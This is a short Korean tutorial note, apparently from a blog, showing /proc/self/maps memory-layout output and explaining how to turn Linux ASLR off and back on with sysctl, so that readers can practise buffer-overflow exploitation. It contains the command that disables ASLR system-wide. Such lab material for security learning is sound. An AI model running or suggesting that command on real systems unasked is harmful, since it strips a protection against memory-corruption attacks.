b7fc2000-b7fc4000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc4000-b7fc5000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc5000-b7fc8000 rw-p 00000000 00:00 0 
b7fda000-b7fdb000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7ffe000-b7fff000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7fff000-b8000000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]




cat /proc/self/maps 명령어로 메모리영역을 살펴보았을때 위의 빨간색과,주황색은 ASLR을 disable하기전, 민트색보라색은 ASLR을 disable 한 후이다.

ASLR(Address Space Layout Randomization) 을 해제하려면
 sysctl -w kernel.randomize_va_space=0
명령어를 이용하여 해제하면 된다.
또한 다시 ASLR을 적용하려면 ,
sysctl -w kernel.randomize_va_space=1  (라이브러리, 스택이 랜덤)
sysctl -w kernel.randomize_va_space=2  (라이브러리, 스택, 힙이 랜덤)
을 하면 된다.

만약 basic bof skill을 익히고 싶다면 aslr과 nx를 해제후 공부하면 되겟고, 메모리보호기법을 우회하는 bof skill을 익히려면 두개다 적용후 공부하면 되겟다.